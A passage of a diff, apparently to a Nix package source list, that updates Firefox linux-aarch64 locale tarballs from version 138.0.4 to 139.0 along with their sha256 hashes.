-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/cs/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/cs/firefox-139.0.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "b6fafa10d291597a0cb438db3acad82c6ce6c08e5f509f1e4219a8bfba465d08";
+      sha256 = "ddcd0f00f20de7f78810429b4728174cdb553851dc0767c4f18270000e43779e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/cy/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/cy/firefox-139.0.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "7fca55c9fdfb3f4e0009abf66bf94dc3463cf8ddf610c630acfd8b42537e6762";
+      sha256 = "b2b498076c22ae7c396041a81c430be9a8ebf8ca2760bd09870cb57538d2aa35";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/da/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/da/firefox-139.0.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "c715bec710edd77a9b920b4dc1e258afceee2791686fd33e0084ed98c731e819";
+      sha256 = "dcc469748f91a5b0adc439d95059c8965dd7529aa3ade2624c8b2f42dc14cd3e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/de/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/de/firefox-139.0.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "de92ec72d7d0a3740c6f8fbfac506b4b4ef07852282148e216da8cdd8c25f42f";
+      sha256 = "ffa75afe9cf0f5912228c6d6b02c435138dbc8fdb7babda5ab550ddd82304a74";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/dsb/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/dsb/firefox-139.0.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "7918fffd4fd176caa159351a4b69e525cb814beeaed470cbedd342c49f27a234";
+      sha256 = "622586f39047ae0d9c3bac212dc06980b974ff8cdf0ce983a57b4d9c27bc2ce0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/el/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/el/firefox-139.0.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "bf16dd99da6347af35c37a1867ab519f81a4559a594fc5758b850d769dd4ba68";
+      sha256 = "6be3465585d4dabed75b9fab9e230aa1125bf0eefe7a3700c10285eb16e01298";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/en-CA/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/en-CA/firefox-139.0.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "45f8b0c7260cefde9fe3a872fa847c702e2962afba71264b4aed24205dfb7ac3";
+      sha256 = "8e0e8afa17d922730424014303e44bbdef3632338a942aaf2cc88cebcb089de6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/en-GB/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/en-GB/firefox-139.0.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "8da28e689b5a955804226fa65214a81d6e293df6fbedc24cc76f368d88cad106";
+      sha256 = "2ee31d1eec8c76a5de8ad880f4d8c5cd4ec918331cd2a8aa7e76c864de248617";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/en-US/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/en-US/firefox-139.0.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "6e078b2b61965b8b5525ae0da3216f7fc6a0460d4e0870e09addcb5a93a60a90";
+      sha256 = "bd9b0a7a0f0faa47cb053f7df0c2c38766d7e481d697f6cfa60c01425eb81786";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/eo/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/eo/firefox-139.0.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "412040a9acdf879d6ba2d3fe158729e0b4ddf1309467ace033de526d06dc5259";
+      sha256 = "9eb95eb1a5a7a4e0ef3fdca261fd622643b64066e8122278a4579431b9ee8a09";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/es-AR/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/es-AR/firefox-139.0.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "e1eb49ce025cd47742561930fbf83408a1afb1a163fc2f7af66a52c10715580a";
+      sha256 = "19ba5aa9e8403ca998f58038cbf4bde5dcdacf209624747c138f14c91f0e9494";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/es-CL/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/es-CL/firefox-139.0.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "413e7b2aff3a1aa43bfda19cde71b54251ce45269f73f01ce8b04311d7ca94f9";
+      sha256 = "ebdb1743b4f51d45e00831635b88f923c682a028136b249b51742b815c5f01f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/es-ES/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/es-ES/firefox-139.0.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "8935573908089eaea694d5287cab5540f580146ca135cf38b6ca61a8981da0f2";
+      sha256 = "fdc85dc2241b79cd49a40cb35e8d98b14ca1e44c5209af9a12242037fc4fc1f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/es-MX/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/es-MX/firefox-139.0.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "bbe96b11b84988efa968ec436a95057d6ce66b14b120a2d7e6ad7b91a841c5c1";
+      sha256 = "62bdcf567ab4b0d803bbecc31b820f26af4df099e661d9692f92465eacb7835e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/et/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/et/firefox-139.0.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "82f655438383306a152fdde0c11c479983d4f9a14f34c84b1ea9520e9054e14c";
+      sha256 = "e23db44ad0445015a506646a1647d6906e4563797465b1ab8292126b0b5dce54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/eu/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/eu/firefox-139.0.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "be0ed3f8e057e61e073d2be63dfb28b9fb2d0472233d0f464c28979c3a3a2084";
+      sha256 = "fcb03ba40a41f1693c069258fc9ca5f5f87d50e83c3cd06a6848cdb996901d84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/fa/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/fa/firefox-139.0.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "ba19e14955b72223f4180e2af4df52388ed5bbc4eb231ced0fe973cdbac86005";
+      sha256 = "4544e53bb7a3c81c645cb84772b4c1afe9b579d9cf271fdd6d410c6c8b2d3786";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ff/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ff/firefox-139.0.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "ae59688241a44042d7dc99333d988ead81416dabbca130d6ce842afe7464e341";
+      sha256 = "700d7a2f91b330cbf4cf8a84e98880117c8a0515de1bd96648477f6ce31b9065";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/fi/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/fi/firefox-139.0.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "81aa6a6ed063d4a4e90355e884b15be92a1ce2a75dd6561b4036efc796ee3cae";
+      sha256 = "8940f12b55124ec64f308baa748443926317824f410fb2045911d059918327cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/fr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/fr/firefox-139.0.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "34d2cb4fb7a49c693c185e59627b3e73cd26be854145bc251aca397b515da954";
+      sha256 = "d6ff6fc283d602f914389b366b34a33810b4351ce2dfca0aeef950f9fcd7cb04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/fur/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/fur/firefox-139.0.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "ea1f8c4885b634821bb6d34c5804149170414c8802a664b7398df46ade9a9bf0";
+      sha256 = "a7ad52a74a917dcb489be7e63562d2fb1d44b9337c0a488bfc5eb76073caa179";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/fy-NL/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/fy-NL/firefox-139.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "3bb5474d6e0308ac0851e0258cf973646e7df83d1b399817f05850ddebc49eab";
+      sha256 = "f3ff60d260bc282497f12d49fd243547acdbd6c98091639cf2d2b57e6dd56fa5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ga-IE/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ga-IE/firefox-139.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "48565934c5f274d91c3c7d01188dee0c4b7db04bb5c5aaa7b19d6098f8017511";
+      sha256 = "e6941b734db7406e553ffbc26ebb521fab1a0723b6b95670e2ffb3f338f4ca6a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/gd/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/gd/firefox-139.0.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "9027a7addc56ef8937a1a79cc3b1d76ae8c349ec5fccb6423244b727bda1926f";
+      sha256 = "587ffc8788f663836bf03003ff16741465cba59d3fffb5a01d446c1e9c735557";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/gl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/gl/firefox-139.0.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "374162c5b2daef4eac897ef541c4a35029388927c9a1c08556896271a455e52d";
+      sha256 = "0e69c74a5b53c9deb73455422eebbcb35cad47f5fa379182d6ba42a19629b0e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/gn/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/gn/firefox-139.0.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "ed2a6c221d9bfed5eb99ac61b0eac02fadb69ee8c66a429b60f4dce6f9b33b33";
+      sha256 = "fbb747f462e11d77bde427af564901e4667d0a7b9b355f2b717092fc1bdbf2f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/gu-IN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/gu-IN/firefox-139.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "02513fefcc276ea98a598a2c788f0cf501fc9a4878bcf8f3f71801c3975c0863";
+      sha256 = "adc5aa4a467151a8b0b7607cdd4f6703117f41a42ea129b4989e85b105256ea5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/he/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/he/firefox-139.0.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "82862c9d5f420a34ccbe74fe5904348b205327e924865a6b6b59ebbbedf41a90";
+      sha256 = "923cea94b7deab925455bd0a560d7488dd061eae0fc536d9a97f6fad6cfc0a37";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/hi-IN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/hi-IN/firefox-139.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "59b1bde64273879724fa980fcb235649a0cbfc491984200bb6bc585811d70132";
+      sha256 = "84ab46281b99b948c9f08bc6b9ab847d08861b2319e34d10ff457956744adfee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/hr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/hr/firefox-139.0.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "80f4101e96ba9677a0018e1d153a95608a2b508cdd3cb2f044dfa86252d9be06";
+      sha256 = "efe5970fb389cbbd269d04f5e640b736bd4fc3f6c74339dc37fd53cac216809d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/hsb/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/hsb/firefox-139.0.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "b766e3e1a435359af2ecbd5e5afb6daef94e624210b68c4a34320687e1c63897";
+      sha256 = "cc1faaeb5f0d604b093959677c3c8747f633a9072d64463013797133a2fbc985";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/hu/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/hu/firefox-139.0.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "9f974d5a025881cfa74b19ed97a2bf4507925450eeb99f3dd1061288fd86d492";
+      sha256 = "e57a0925ceedbabaefbef1c86e3dde24df6eef672bfb273c6dab01de8341eed7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/hy-AM/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/hy-AM/firefox-139.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "1e6a40a2ab8ab7cde9ebb31a9b4552b1f4c38e3b3dc1d97d591565b5d2816969";
+      sha256 = "d33ebf0262496bba4e79b11a31675a3d07de350e358a80b794162d894e5d5827";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ia/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ia/firefox-139.0.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "6816fcf9105516ba115f70882152bdae6ac0c3083d84551d4973e28cc38538f4";
+      sha256 = "7af0f1dfde0b2eb9459d3ac9f1cf451c64839e8a0833c713500bcb4f316ce0d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/id/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/id/firefox-139.0.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "507d3be3b06ce9d22d62d565983fc53475883ae4b0ed6ed1fa3c4b2afaa8b9ec";
+      sha256 = "2b8d4814c2b863aace687e444afb57e9918f979304248e2abc28b1824b3d38fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/is/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/is/firefox-139.0.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "c1f58fef708ad94faba30dabc8a3f14ea9d60af7927a2e029c15bb1027b453a4";
+      sha256 = "bf8fb09c630eff43c77f403e6a60d9ede22aee8ac8c85a2ade7a56a34b7be4c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/it/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/it/firefox-139.0.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "b80c16b2e23dc208b4465b244b046f885ddcf8a2876d47232c256401c27d8805";
+      sha256 = "7978f4855fe1fda982c098e7de0b14f5f75dbb1c109b6b14358e4aeb4b8800e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ja/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ja/firefox-139.0.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "646444dd4c28c81cbe19796e2f13724a41cc57ee3af1ff65f26defac94f9fe40";
+      sha256 = "1840d1cd38e2864b690ac8a358c7b9dd32d4bf5c0b74d2c8d22c25122b60cd46";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ka/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ka/firefox-139.0.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "5cbc44241330de896255614e7bdc2fc49287f5580611b5640d7763caa111889d";
+      sha256 = "dbdd0ce33b6462597e5e5e2e6ec89a058c6f5efdf6e33179d4a03fc65b432c8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/kab/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/kab/firefox-139.0.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "75d33229198c12a7aa7c390f74ef534a62c8eacf8b176cf6bbfb213b9fd253c7";
+      sha256 = "bac6a5dd0a8e259a2756958449df5ee17d07ed7ad4f89e5a279ba071e690554e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/kk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/kk/firefox-139.0.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "a623bb9c429f531e9d00f74cb5f8936522104b43c3d31c4a6b9c1d8c60070105";
+      sha256 = "29ad437d21914ef87d0d6394cfc212f7cd889ba38c08e3578fa3aa6f6a41ace9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/km/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/km/firefox-139.0.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "10f4d8b97803f6d9d32d44873decbd9e994ea3ead6ff3a66a80af47e0a595f92";
+      sha256 = "cc50cf76840e07dccd618d7f9b67a46ab9295d55e20d9c1f2d673fe6c80131e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/kn/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/kn/firefox-139.0.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "54dfee8ce36b2bb5841750730369f9bf15b4e784cb080c232f9d3461ecd5d42a";
+      sha256 = "c13cf7ce0b1359c0fdd13885f3bf41a9fdde01f8a565aa6e477d094f5d226f81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ko/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ko/firefox-139.0.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "8ef3d1cf0781b0a016750060fc3692439b6ad0d71260adf2cd4a4d83b659eb62";
+      sha256 = "0e7fd0cc4972012321c587044249476adf1e2d28b8124e4e3db7f0ab8f2cfe05";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/lij/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/lij/firefox-139.0.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "d820aa2fee3c0dfa3b2e927df6a807338a6ad28bb565189bf96564d5e9c464eb";
+      sha256 = "3667f5b56d763a53b2223a962713628b4ae566cd476cc965795c0309a0091738";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/lt/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/lt/firefox-139.0.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "3f86f10e0e212d78c015c082d0d80ba836b0bcb6107b9b42d2df22cdaecc9c56";
+      sha256 = "c2a63b27d8110b970c9d009e7b42651580122bdd4824b1d5057143402f52907e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/lv/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/lv/firefox-139.0.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "62d046ebb70ed46d173327d16f984aedc672c6cf561c73d92ae9dab40c64c20f";
+      sha256 = "3ac5a4a02d5eb87042ad6d583d3789fb50d5ecc88e57d158ef6ca3314ba5051b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/mk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/mk/firefox-139.0.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "d4f8a525c8f24e38558253d954b3c81e08d189e6e80d925334aba7387e1d2573";
+      sha256 = "032dcc7795e07b3a2f1426d380464bda749adadb9eec1bab93675051bb0acbdb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/mr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/mr/firefox-139.0.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "fbe4d8d6189044458c9901080343d8e40334cd1b633a6b4087c60d064ecec34d";
+      sha256 = "5814e633c4eb787d4aa7c482d4e7946d087c240746abb4c5afb65cfa258846c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ms/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ms/firefox-139.0.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "bc811fb3e907ea2aaef4e229312b2b8b3190ed3ed136641adb5f445a57f64f8f";
+      sha256 = "44f21e35684d1c0863526b5e77df67ff2949566c97b1abda64a9a38abce01dc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/my/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/my/firefox-139.0.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "f482b811c216f2b2c653976445ede9a8e5125da802354d93ded5d67ba412fdca";
+      sha256 = "b82533e4435662079703eb472ccaa3d0ac6512e35f03efb1048cde5bc9ca7ed5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/nb-NO/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/nb-NO/firefox-139.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "f37e5af711466a1c282703341fb8f61bb4f1a14ecb42cfb80b64b28a9068e051";
+      sha256 = "a0042565267bd7afbb9ea51dac8c56a1fe391faabcdd634f729d676006869910";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ne-NP/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ne-NP/firefox-139.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "bf0ae7c8a4f8248e08e0631086d0fc7dc432beed375398ece06daa7d253a6a01";
+      sha256 = "b8e89c35f97d0c10bd9207b774454177a6e103fc88e0962fcafabe47654e5a7a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/nl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/nl/firefox-139.0.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "a1513e2ff3d804ba98ba23f2c1763c2f1153f5d1971faa7f5de51081e4760741";
+      sha256 = "9252125e5ef11a0115c5e6c608ad82f4eef60633b4adbc783ad0cdb9b59b9920";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/nn-NO/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/nn-NO/firefox-139.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "b95717b63871fa8989e870b8a679d139b2bddbad846df29a1ff9de72ee83b250";
+      sha256 = "8a00da9c6fe1f57ef9d6bee2849f85a1ff2a1649e8f5b321d8c99222ce20aca1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/oc/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/oc/firefox-139.0.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "fd5bf5d5a6c354ea561321c815dbb878ea77bd3472905df04fee28ee5f5da40f";
+      sha256 = "b0ba8c1a18ed33eab972222fb6448064d2e1319b9c1f0fe50df9b488e3a21405";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/pa-IN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/pa-IN/firefox-139.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "60c60e90b7775e062b519eb83bf7102426442ec3dbbc0bc1ae173615fe6ac097";
+      sha256 = "4f5344e069d4adf6cbd77ddce9e5a5bf78ed53f2a840ea2d3e777892a8dcd90a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/pl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/pl/firefox-139.0.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "4dd7dfe2ba9443e6a00f7c84c35e909770e4702bb6f0d7ce04441770a703166d";
+      sha256 = "6b0327fa92fb4527856e8e5056632dc8b5017d8e7171648bb0b333a952a29057";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/pt-BR/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/pt-BR/firefox-139.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "3bcfa4433ffbeeb006d62e4f5e9369804bb29cc1d1c148cf5567a4d4e0b55841";
+      sha256 = "031807bbcc5c2a1d562724dea27dbad17aa0c2147f023886ec71a6c87950c5fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/pt-PT/firefox-138.0.4.tar.xz";
